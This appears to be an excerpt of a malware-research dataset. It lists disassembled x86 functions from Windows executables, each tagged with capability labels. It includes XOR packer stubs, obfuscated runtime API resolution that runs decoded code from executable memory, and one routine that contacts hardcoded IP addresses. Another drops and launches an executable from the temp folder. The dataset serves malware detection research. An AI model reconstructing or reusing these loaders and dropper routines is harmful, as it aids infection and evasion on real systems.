joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x12691259
nop
nop
nop
nop
nop
test eax, eax
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x449a6acc
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x40644e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40645d
pop dword [ebp - 0x3c]
mov eax, 0x40645d
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x46c38a62
add dword [ebp - 0x4c], 0x78ebae9
mov dword [ebp - 0x48], 0xd25f52e1
sub dword [ebp - 0x48], 0xa02c069c
mov dword [ebp - 0x44], 0x45a28e65
sub dword [ebp - 0x44], 0xf9564a37
mov dword [ebp - 0x40], 0xb3b6043d
add dword [ebp - 0x40], 0x4c49fbc3
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x2d3c5f56
add eax, 0xd3042122
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x629e2e07
sub dword [ebp - 0x4c], 0xee2bc4b1
mov dword [ebp - 0x48], 0xaed6e335
sub dword [ebp - 0x48], 0x6d6a81c0
mov dword [ebp - 0x44], 0xcdbe0956
sub dword [ebp - 0x44], 0x6a4e9cea
mov dword [ebp - 0x40], 0x409c5e37
sub dword [ebp - 0x40], 0x409c5e37
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x36837
push 0
call eax
mov ecx, 0xe4203909
add ecx, 0x1be00ccf
mov esi, eax
mov edx, 0x459200
add edx, dword [ebp - 0x3c]
mov ebx, 0x2de35f0d
add ebx, 0x7a7d7071
mov edi, dword [edx]
xor dword [ebp - 0x34], 0xa2e2a451
add edi, ebx
sub dword [ebp - 0x38], 0x9dec655f
mov dword [esi], edi
add dword [ebp - 0x30], 0xbd1484e9
add esi, 0x588ee5c9
add esi, 0xa7711a3b
add edx, 0xd58245f1
sub edx, 0xd58245ed
loop 0x40656f
add eax, 0x6c46e294
add eax, 0x93ba279f
mov ebx, eax
add eax, 0x99eb21cf
add eax, 0x6614de36
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x4068f3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x40692a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406904
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x4068ff
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40695b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x40693d
pop edi
not eax
pop esi
ret 0xc
Function at 0x403354
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [eax + 4]
xor ebx, ebx
cmp dword [0x2446900], 0x594
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], eax
jne 0x4033a0
push 0x402df8
push 0x402e04
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x402e18
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x44e4a8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x44e4ac]
mov dword [ebp - 0x30], eax
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
call fcn.0040334d
mov eax, dword [0x44e4b0]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x44e4b4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
jmp 0x4033df
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, esi
shl eax, 4
cmp dword [0x2446900], 0xc
mov dword [ebp - 4], eax
jne 0x403441
push ebx
lea eax, [ebp - 0x44c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc4c]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x38]
push eax
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 4], eax
mov eax, dword [0x2446900]
cmp eax, 0xfa9
jne 0x40345d
mov dword [0x2445e9c], 0xedeb2e40
cmp eax, 0x3eb
jne 0x40346a
mov dword [0x244584c], ebx
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, esi
shr edx, cl
lea eax, [edi + esi]
mov dword [ebp - 0x18], eax
mov dword [0x2445e98], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x2446900], 0x213
mov dword [ebp - 0x18], edx
jne 0x4034aa
push 0x402e30
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00403347
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add dword [ebp - 0x10], 0x61c88647
mov eax, edx
shr eax, cl
lea esi, [edi + edx]
add eax, dword [ebp - 0x30]
xor eax, esi
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x14], eax
dec dword [ebp - 0x20]
jne 0x4033dc
cmp dword [0x2446900], 0xa6d
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp + 8]
mov dword [esi], eax
pop edi
jne 0x403514
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov edx, dword [ebp - 8]
mov dword [esi + 4], edx
pop esi
pop ebx
leave
ret 4
Function at 0x40351d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x2446900]
mov ecx, dword [0x2445850]
sub esp, 0x544
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x403590
mov edi, ecx
mov ebx, eax
cmp dword [0x2446900], 0x959
jne 0x403584
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x402e44
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push edi
call fcn.00403354
add edi, 8
dec ebx
jne 0x403541
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40395f
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x2446900], 0x400
push edi
jne 0x4039b1
push esi
push esi
call fcn.00403c46
push esi
push esi
call fcn.00403c46
push esi
push esi
push esi
call fcn.0040460d
add esp, 0x14
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00403322
fstp st(0)
push esi
call fcn.00404692
pop ecx
push esi
call fcn.00404424
pop ecx
mov eax, dword [0x44eb34]
mov dword [0x2446900], eax
mov eax, dword [0x44eb0c]
mov dword [0x2446904], eax
call fcn.00403664
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x403a18
cmp dword [esp + 0x18], 0x785074d5
jne 0x403a26
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x4039d3
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x40319c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x4031d8
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x403a55
cmp dword [esp + 0x18], 0x785074d5
jne 0x403a5e
inc edi
cmp edi, 0x11915
jl 0x403a28
mov eax, dword [0x2445850]
mov dword [0x2445e94], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40a0c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44de24]
jne 0x40a0ce
repz ret
jmp fcn.0040d884
Function at 0x40d431
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405f83
and dword [ebp - 4], 0
cmp dword [0x44f458], 0
mov ebx, eax
jne 0x40d4e2
push 0x402ca4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d593
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402c98
push edi
call esi
test eax, eax
je 0x40d593
push eax
call fcn.00405f11
mov dword [esp], 0x402c88
push edi
mov dword [0x44f458], eax
call esi
push eax
call fcn.00405f11
mov dword [esp], 0x402c74
push edi
mov dword [0x44f45c], eax
call esi
push eax
call fcn.00405f11
mov dword [esp], 0x402c58
push edi
mov dword [0x44f460], eax
call esi
push eax
call fcn.00405f11
pop ecx
mov dword [0x44f468], eax
test eax, eax
je 0x40d4e2
push 0x402c40
push edi
call esi
push eax
call fcn.00405f11
pop ecx
mov dword [0x44f464], eax
mov eax, dword [0x44f464]
cmp eax, ebx
je 0x40d53a
cmp dword [0x44f468], ebx
je 0x40d53a
push eax
call fcn.00405f8c
push dword [0x44f468]
mov esi, eax
call fcn.00405f8c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d53a
test edi, edi
je 0x40d53a
call esi
test eax, eax
je 0x40d531
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d531
test byte [ebp - 0xc], 1
jne 0x40d53a
or dword [ebp + 0x10], 0x200000
jmp 0x40d573
mov eax, dword [0x44f45c]
cmp eax, ebx
je 0x40d573
push eax
call fcn.00405f8c
pop ecx
test eax, eax
je 0x40d573
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d573
mov eax, dword [0x44f460]
cmp eax, ebx
je 0x40d573
push eax
call fcn.00405f8c
pop ecx
test eax, eax
je 0x40d573
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f458]
call fcn.00405f8c
pop ecx
test eax, eax
je 0x40d593
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d595
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4059bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40fba0
cmp edx, dword [eax]
je 0x4059df
add eax, 8
inc ecx
cmp eax, 0x40fc30
jl 0x4059d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40fba0]
jne 0x405b0d
mov eax, dword [0x41f1f0]
cmp eax, 1
je 0x405ae7
test eax, eax
jne 0x405a10
cmp dword [0x40faec], 1
je 0x405ae7
cmp edx, 0xfc
je 0x405b0d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x405a47
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004067c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405e80
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x405a8a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405e80
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40841c
push edi
call fcn.00406940
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004067c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004067d0
lea eax, [ebp - 0xa0]
push 0x4083fc
push eax
call fcn.004067d0
push dword [esi + 0x40fba4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004067d0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004068b0
add esp, 0x2c
pop edi
jmp 0x405b0d
lea eax, [ebp + 8]
lea esi, [esi + 0x40fba4]
push 0
push eax
push dword [esi]
call fcn.00405e80
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x401d40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 8], ebx
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [ebp - 4], esi
lea esi, [ebp + 0xc]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
add ebx, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort

Function at 0x401d90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x401db6
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x401e4a
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401e05
cmp eax, 0x40
je 0x401e05
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401da9
cmp eax, 0x40
je 0x401da9
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x401da9
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401d40
lea esi, [esi]
lea edi, [edi]
Function at 0x4020d0
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call fcn.004020b0
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
je 0x402170
movzx edx, byte [ebx]
cmp dl, 9
je 0x4021b4
cmp dl, 0x20
je 0x4021b4
cmp dl, 0x22
je 0x402154
cmp dl, 9
mov eax, edx
je 0x402168
cmp dl, 0x20
je 0x4021c0
test dl, dl
lea esi, [esi]
jne 0x402142
jmp 0x402170
cmp al, 0x20
je 0x4021c0
test al, al
nop
je 0x402170
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x402134
jmp 0x402168
cmp al, 0x22
je 0x40215e
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x402150
cmp al, 0x22
jne 0x402168
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x4021c0
cmp al, 9
je 0x4021c0
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x40217f
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401490
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
add ebx, 1
jmp 0x402101
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x4021c0
cmp al, 0x20
jne 0x402170
nop
jmp 0x4021c0
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
jmp int.00401219

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x416666
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x416675
pop dword [ebp - 0x40]
mov eax, 0xe6beeb68
add eax, 0x19827b0d
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x86001fc3
add dword [ebp - 0x50], 0xc8522588
mov dword [ebp - 0x4c], 0x12135d6b
add dword [ebp - 0x4c], 0x201feeda
mov dword [ebp - 0x48], 0x68c48bbc
sub dword [ebp - 0x48], 0x1c78478e
mov dword [ebp - 0x44], 0x5a053684
sub dword [ebp - 0x44], 0x5a053684
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x3101bb56
sub dword [ebp - 0x50], 0xbc8f5200
mov dword [ebp - 0x4c], 0x76309f03
sub dword [ebp - 0x4c], 0x34c43d8e
mov dword [ebp - 0x48], 0xd64d5291
sub dword [ebp - 0x48], 0x72dde625
mov dword [ebp - 0x44], 0x331d3192
sub dword [ebp - 0x44], 0x331d3192
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x9973c6f2
add eax, 0x66ce6a32
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3c8e5
push 0
call eax
mov ecx, 0xb64bb611
add ecx, 0x49b48d66
xor esi, esi
add esi, eax
mov edi, 0x434400
add edi, dword [ebp - 0x40]
mov edx, 0xbeeba137
add edx, 0x66f148a2
sub dword [ebp - 0x1c], 0x7cfc70fe
mov ebx, dword [edi]
sub dword [ebp - 0x3c], 0xd3b74b03
xor ebx, edx
add dword [ebp - 4], esi
mov dword [esi], ebx
xor dword [ebp - 8], edx
add esi, 0x1a8aab46
add esi, 0xe57554be
add edi, 4
loop 0x41678e
add eax, 0x275e63e4
sub eax, 0x275d6335
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x419d20
push 0x67
push esi
call edi
push 0x64
push 0x419c58
push 0x6d
push esi
call edi
mov eax, esi
call fcn.004011a0
push 0
push esi
push 0
push 0
push 0
push closesocket
push 0
push closesocket
push 0xcf0000
push 0x419d20
push 0x419c58
push 0
mov dword [0x419de8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00405794
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push 0x419070
call fcn.00402b10
add esp, 4
call fcn.00402080
test eax, eax
je 0x4010cb
call fcn.00403620
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012f0
test eax, eax
je 0x40107a
call fcn.004014b0
mov eax, dword [0x41a688]
test eax, eax
jbe 0x401106
cmp word [0x41a68c], 0
jbe 0x401106
push str.218.54.31.226
push eax
call fcn.00404280
mov ax, word [0x41a68c]
add esp, 8
mov word [0x41908c], ax
xor eax, eax
jmp 0x401110
movzx ecx, word [eax + str.fdijtw.exe]
mov word [eax + 0x41abc0], cx
add eax, 2
test cx, cx
jne 0x401110
call fcn.00404330
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.004092b0
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41abc0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.004057a3
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x415c50
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012f0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x1e0
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x1d8], eax
push ebx
xor eax, eax
push 0x3e
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.004092b0
lea edx, [esp + 0x1a4]
add esp, 0xc
push edx
call fcn.00403ad0
add esp, 4
xor eax, eax
jmp 0x401340
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x419df0], cx
add eax, 2
test cx, cx
jne 0x401340
push 0x419df0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x40138c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1d8]
xor ecx, esp
call fcn.00405794
add esp, 0x1e0
ret
push 0x419df0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401374
lea eax, [esp + 8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x41a7c0
call fcn.00401d40
test eax, eax
jne 0x401460
jmp 0x4013d0
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x41a968], cx
add eax, 2
test cx, cx
jne 0x4013d0
push str.112.175.88.207
push 0x40
push 0x41a7c4
call fcn.00405820
add esp, 0xc
push str.AAAA
push 0x10
push 0x41a846
call fcn.00405820
add esp, 0xc
push 0x415c8c
push 0x40
push 0x41a866
call fcn.00405820
mov ecx, 0x51
mov edx, 0x2b8e
add esp, 0xc
mov word [0x41a844], cx
mov word [0x41a8e6], dx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x41a948], cx
add eax, 2
test cx, cx
jne 0x401440
mov dword [0x41a988], 5
call fcn.00403be0
push 0x415c8c
call fcn.00403d00
add esp, 4
mov dword [0x41a688], eax
call fcn.00401960
push 0
push 0
push 0
push 0x401770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x1dc]
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00405794
add esp, 0x1e0
ret
Function at 0x401830
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push edi
push 0x415d64
call fcn.00404600
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x401944
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.004092b0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x226]
push eax
mov word [esp + 0x228], dx
call fcn.004092b0
add esp, 0x18
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x419e30
cmp word [esi], 0
je 0x4018db
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00405820
push esi
lea ecx, [esp + 0x220]
push 0x104
push ecx
call fcn.004057a3
add esp, 0x18
add esi, 0x118
cmp esi, 0x41a3a8
jl 0x4018a8
mov esi, 0x419e30
mov edi, edi
cmp word [esi], 0
je 0x401907
push 1
push edi
push 0x415d64
push esi
call fcn.00405260
add esp, 0x10
add esi, 0x118
cmp esi, 0x41a3a8
jl 0x4018f0
push 0x41abc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.004057a3
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop esi
cmp eax, 0xffffffff
jne 0x401942
mov ebx, 2
mov eax, ebx
mov ecx, dword [esp + 0x414]
pop ebx
xor ecx, esp
call fcn.00405794
add esp, 0x414
ret